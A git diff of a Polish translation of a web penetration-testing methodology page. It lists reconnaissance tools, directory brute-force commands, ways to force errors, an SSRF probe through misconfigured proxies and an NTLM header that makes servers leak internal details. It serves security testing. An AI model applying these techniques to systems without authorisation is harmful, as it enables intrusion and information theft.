[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -149,45 +150,45 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Na tym etapie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli dostarczono jakieś dane) oraz kilka trików do zapamiętania podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś skaner.
|
||||
> W tym momencie powinieneś mieć już pewne informacje o serwerze webowym używanym przez klienta (jeśli podano jakieś dane) oraz kilka sztuczek do zapamiętania podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś jakiś skaner.
|
||||
|
||||
## Krok po kroku: odkrywanie aplikacji webowej
|
||||
## Krok po kroku — Odkrywanie aplikacji webowej
|
||||
|
||||
> Od tego momentu zaczniemy wchodzić w interakcję z aplikacją webową.
|
||||
> Od tego momentu zaczynamy wchodzić w interakcję z aplikacją webową.
|
||||
|
||||
### Wstępne sprawdzenia
|
||||
|
||||
**Domyślne strony zawierające przydatne informacje:**
|
||||
**Domyślne strony z przydatnymi informacjami:**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Sprawdź również komentarze na stronach głównych i pomocniczych.
|
||||
- Sprawdź także komentarze na stronach głównych i pomocniczych.
|
||||
|
||||
**Wymuszanie błędów**
|
||||
|
||||
Serwery WWW mogą **zachowywać się nieoczekiwanie**, gdy wysyłane są do nich nietypowe dane. Może to doprowadzić do otwarcia **podatności** lub **ujawnienia wrażliwych informacji**.
|
||||
Serwery WWW mogą zachowywać się nieoczekiwanie, gdy wysyłane są do nich nietypowe dane. Może to otworzyć **vulnerabilities** lub spowodować ujawnienie wrażliwych informacji.
|
||||
|
||||
- Dostęp do **fake pages** takich jak /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Dodaj "\[]", "]]", and "\[["** w **wartościach cookie** i **wartościach parametrów**, aby wywołać błędy
|
||||
- Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
|
||||
- Wypróbuj **różne HTTP Verbs** takie jak PATCH, DEBUG lub błędne jak FAKE
|
||||
- Odwiedź **fake pages** takie jak /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Add "\[]", "]]", and "\[["** w **cookie values** i wartościach **parameter** aby wywołać błędy
|
||||
- Wygeneruj błąd, podając jako wejście **`/~randomthing/%s`** na **końcu** **URL**
|
||||
- Spróbuj różnych **HTTP Verbs** jak PATCH, DEBUG lub nieprawidłowych, np. FAKE
|
||||
|
||||
#### **Sprawdź czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Sprawdź, czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **wysyłania plików** w katalogu root, spróbuj:
|
||||
Jeśli odkryjesz, że **WebDav** jest **enabled**, ale nie masz wystarczających uprawnień do **uploading files** w root folder, spróbuj:
|
||||
|
||||
- Przeprowadzić **Brute Force** na poświadczeniach
|
||||
- **Upload files** przez WebDav do **pozostałych** **znalezionych folderów** na stronie. Możesz mieć uprawnienia do wysyłania plików w innych katalogach.
|
||||
- **Brute Force** credentials
|
||||
- **Upload files** via WebDav do **reszty** **found folders** w obrębie strony. Możliwe, że masz uprawnienia do uploadowania plików w innych folderach.
|
||||
|
||||
### **SSL/TLS podatności**
|
||||
### **SSL/TLS vulnerabilites**
|
||||
|
||||
- Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na MitM**
|
||||
- Jeśli aplikacja **wysyła wrażliwe dane (hasła) przez HTTP**, to jest to poważna podatność.
|
||||
- Jeśli aplikacja **isn't forcing the user of HTTPS** w żadnej części, to jest **vulnerable to MitM**
|
||||
- Jeśli aplikacja **sending sensitive data (passwords) using HTTP** — to jest poważne **vulnerability**
|
||||
|
||||
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzenia **podatności** (w programach Bug Bounty prawdopodobnie tego rodzaju podatności nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić podatności:
|
||||
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) aby sprawdzić **vulnerabilities** (W programach Bug Bounty prawdopodobnie tego typu vulnerabilities nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv)to aby ponownie zweryfikować vulnerabilities:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -203,53 +204,53 @@ Informacje o podatnościach SSL/TLS:
|
||||
|
||||
### Spidering
|
||||
|
||||
Uruchom jakiś rodzaj **spider** w obrębie aplikacji webowej. Celem spidera jest **znaleźć jak najwięcej ścieżek** w testowanej aplikacji. Dlatego należy użyć web crawlingu oraz zewnętrznych źródeł, aby odkryć jak najwięcej poprawnych ścieżek.
|
||||
Uruchom jakiś rodzaj **spider** wewnątrz aplikacji webowej. Celem spidera jest **znaleźć jak najwięcej ścieżek** w testowanej aplikacji. Dlatego crawling i zewnętrzne źródła powinny być użyte, aby odnaleźć jak najwięcej prawidłowych ścieżek.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS oraz zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, z LinkFinder dla plików JS i Archive.org jako źródłem zewnętrznym.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, również wskazuje „juicy files”.
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Przeszukuje również Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być użyteczne. Możesz podać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę dla każdego hosta i zapisze odpowiedź.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda jednak na nieutrzymywane — wersja prekompilowana jest stara, a bieżący kod nie kompiluje się.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skrypt znajdzie URL-e z parametrami i je wypisze.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako zewnętrzne źródło.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, także wskazuje "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Również przeszukuje Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Możesz podać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda jednak na nieutrzymywane, prekompilowana wersja jest stara, a aktualny kod nie kompiluje się.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider, który używa zewnętrznych providerów (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie URL-e z parametrami i je wypisze.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwością renderowania JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider z możliwością beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto też zerknąć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do ekstrakcji endpointów zarówno z źródła HTML, jak i z osadzonych plików javascript. Przydatne dla bug hunterów, red teamów, infosec ninja.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt Python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do odkrywania żądań AJAX. Wygląda na nieutrzymywany.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dając plik (HTML) wyciąga URL-e używając sprytnego regexu do znalezienia i ekstrakcji względnych URL-i z „brzydkich” (minify) plików.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS przy pomocy kilku narzędzi.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwością beautify JS, potrafi wyszukać nowe ścieżki w plikach JS. Warto też rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do ekstrakcji endpointów w źródle HTML i osadzonych plikach javascript. Przydatne dla bug hunterów, red teamów, infosec ninja.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do łatwego odkrywania żądań AJAX. Wygląda na nieutrzymywany.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dając plik (HTML) wyciąga z niego URL-e używając sprytnych regexpów do znalezienia i ekstrakcji względnych URL-i z "brzydkich" (minify) plików.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Zbiera interesujące informacje z plików JS używając kilku narzędzi.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Znajduje pliki JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane podczas ładowania strony.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji z poprzednich narzędzi.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do discovery treści łączące kilka funkcji poprzednich narzędzi.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które mając URL .js.map zwróci beautified kod JS.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie do odkrywania endpointów dla danego targetu.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi z wayback i szukając kolejnych linków).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet przez wypełnianie formularzy) i również wyszukuje sensititve info używając specyficznych regexów.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany multi-feature GUI web security Crawler/Spider zaprojektowany dla specjalistów cyberbezpieczeństwa.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pakiet Go i [narzędzie CLI](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **ekstrakcji parametrów i endpointów** z requestów, aby stworzyć custom wordlist do fuzzingu i enumeracji.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając URL .js.map zwróci zbeautyfikowany kod JS.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie do odkrywania endpointów dla danego celu.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (także pobierając odpowiedzi w wayback i szukając kolejnych linków).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet przez wypełnianie formularzy) i także znajdowanie wrażliwych informacji przy użyciu specyficznych regexów.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pakiet Go i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **Burp Suite extension** do **ekstrakcji parametrów i endpointów** z requestów w celu stworzenia custom wordlist do fuzzingu i enumeracji.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link jaki jest w stanie znaleźć.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link, który jest w stanie znaleźć.
|
||||
|
||||
### Brute Force directories and files
|
||||
### Brute Force katalogi i pliki
|
||||
|
||||
Zacznij **brute-forcing** od folderu root i upewnij się, że bruteforce'ujesz **wszystkie** znalezione **katalogi** używając **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonywać to **brute-forcing** **rekursywnie** i dodawać na początek użytej wordlisty nazwy znalezionych katalogów).\
|
||||
Rozpocznij **brute-forcing** od katalogu głównego i upewnij się, że **brute-forcujesz** **wszystkie** **znalezione katalogi** używając **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonywać to **rekursywnie** i doklejać na początku użytej wordlisty nazwy znalezionych katalogów).\
|
||||
Narzędzia:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Dołączone w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na auto-signed certificates i przeszukiwanie rekursywne. Zbyt wolne w porównaniu z innymi opcjami.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-signed certificates ale** umożliwia przeszukiwanie rekursywne.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na auto-signed certificates, nie ma jednak funkcji **recursive** search.
|
||||
- **Dirb** / **Dirbuster** - Dołączone do Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na certyfikaty z auto-podpisem i wyszukiwanie rekurencyjne. Zbyt wolne w porównaniu z innymi opcjami.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na certyfikaty auto-podpisane, ale** wspiera wyszukiwanie rekurencyjne.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na certyfikaty auto-podpisane, nie ma jednak wyszukiwania **rekurencyjnego**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie które, mając listę znalezionych URL-i, usunie „zduplikowane” URL-e.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii Burp z różnych stron.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e z zduplikowaną funkcjonalnością (bazując na importach js).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania użytych technologii i wyboru słowników do użycia.
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie które biorąc listę znalezionych URL-i usuwa "zduplikowane" URL-e.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii Burp dla różnych stron.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e o zduplikowanej funkcjonalności (na podstawie importów js).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa Wappalyzer do wykrycia użytych technologii i dobrania odpowiednich wordlist.
|
||||
|
||||
**Recommended dictionaries:**
|
||||
**Zalecane słowniki:**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
@ -264,47 +265,45 @@ Narzędzia:
|
||||
- [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)
|
||||
- [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
|
||||
- [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
|
||||
- [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
|
||||
- [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
|
||||
- _/usr/share/wordlists/dirb/common.txt_
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Uwaga: za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go Brute-Forced._
|
||||
_Zauważ, że za każdym razem gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
### Co sprawdzić dla każdego znalezionego pliku
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken links wewnątrz HTML, które mogą być podatne na takeovery.
|
||||
- **File Backups**: Gdy odnajdziesz wszystkie pliki, szukaj backupów wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Możesz użyć narzędzi jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli to możliwe, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym.
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken linki w HTML-ach, które mogą być podatne na takeovery.
|
||||
- **File Backups**: Gdy znajdziesz wszystkie pliki, szukaj backupów wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazw backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz także użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Możesz użyć narzędzi jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do wykrywania ukrytych parametrów. Jeśli możesz, spróbuj szukać** ukrytych parametrów w każdym wykonywalnym pliku webowym.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** Sprawdź komentarze we wszystkich plikach — możesz znaleźć **credentials** lub **ukrytą funkcjonalność**.
|
||||
- Jeśli bierzesz udział w **CTF**, „popularny” trick to **ukrycie** **informacji** w komentarzach po **prawej** stronie **strony** (używając setek spacji, żeby nie widzieć danych przy otwarciu source w przeglądarce). Inną możliwością jest użycie kilku nowych linii i **ukrycie informacji** w komentarzu na **dole** strony.
|
||||
- **API keys**: Jeśli **znajdziesz jakikolwiek API key**, dostępne są projekty pokazujące jak używać kluczy z różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Jeśli znajdziesz klucz API zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp.
|
||||
- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomain** lub link związany jest z S3 bucketem. W takim wypadku [**sprawdź** uprawnienia bucketu](buckets/index.html).
|
||||
- Jeśli bierzesz udział w **CTF**, "powszechną" sztuczką jest **ukrycie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, żeby nie widzieć danych, jeśli otworzysz źródło w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony.
|
||||
- **API keys**: Jeśli **znajdziesz jakikolwiek API key**, istnieją projekty pokazujące jak używać kluczy z różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Jeśli znajdziesz klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp.
|
||||
- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomain** lub link jest powiązany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** uprawnienia bucketu](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
### Specjalne znaleziska
|
||||
|
||||
Podczas wykonywania **spideringu** i **brute-forcingu** możesz natrafić na **interesujące** **znaleziska**, które należy **zauważyć**.
|
||||
**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz natrafić na **interesujące** **rzeczy**, na które trzeba zwrócić **uwagę**.
|
||||
|
||||
**Interesujące pliki**
|
||||
|
||||
- Szukaj **linków** do innych plików wewnątrz plików **CSS**.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- Jeśli znajdziesz plik _**.env**_ można znaleźć informacje takie jak api keys, hasła do baz danych i inne dane.
|
||||
- Jeśli znajdziesz **API endpoints** powinieneś je [również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie „będą wyglądać” jak pliki.
|
||||
- **JS files**: W sekcji spideringa wspomniano kilka narzędzi, które potrafią ekstrahować ścieżki z plików JS. Warto też **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że do kodu wprowadzono potencjalną podatność. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Powinieneś też sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) żeby znaleźć czy są podatne.
|
||||
- Szukaj **linków** do innych plików w **CSS**.
|
||||
- [Jeśli znajdziesz _**.git**_ można wyciągnąć pewne informacje](git.md)
|
||||
- Jeśli znajdziesz _**.env**_ możesz znaleźć informacje takie jak api keys, hasła do db i inne dane.
|
||||
- Jeśli znajdziesz **API endpoints** powinieneś je [także przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie będą "wyglądać" jak pliki.
|
||||
- **JS files**: W sekcji spideringu wspomniano kilka narzędzi, które mogą ekstrahować ścieżki z plików JS. Warto także **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna podatność została wprowadzona do kodu. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Powinieneś też sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) aby znaleźć czy są podatne.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne** użyte w kodzie. Przydatne będą: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Możesz także **monitorować pliki, w których wykryto formularze**, ponieważ zmiana parametrów lub pojawienie się nowego formularza może wskazywać na nową potencjalnie podatną funkcjonalność.
|
||||
- Możesz także **monitorować pliki, w których wykryto formularze**, gdyż zmiana parametrów lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -315,21 +314,21 @@ Podczas wykonywania **spideringu** i **brute-forcingu** możesz natrafić na **i
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Jeśli którakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie to źle skonfigurowany proxy. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem Host i innymi standardowymi nagłówkami), **proxy** spróbuje uzyskać dostęp do _**google.com**_ i w ten sposób możesz znaleźć SSRF.
|
||||
Jeśli jakaś strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem host i innymi typowymi nagłówkami), **proxy** spróbuje **dostępować** się do _**google.com**_ **i znajdziesz SSRF.**
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Jeżeli serwer żądający uwierzytelnienia jest **Windows** lub znajdziesz stronę logowania proszącą o Twoje **credentials** (i pytającą o **domain** **name**), możesz wywołać **wyciek informacji**.\
|
||||
**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu działania **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
|
||||
Możesz zautomatyzować to używając nmap pluginu "_http-ntlm-info.nse_".
|
||||
Jeśli serwer żądający autoryzacji jest **Windows** lub znajdziesz login proszący o Twoje **credentials** (i proszący o **nazwę domeny**), możesz wywołać **ujawnienie informacji**.\
|
||||
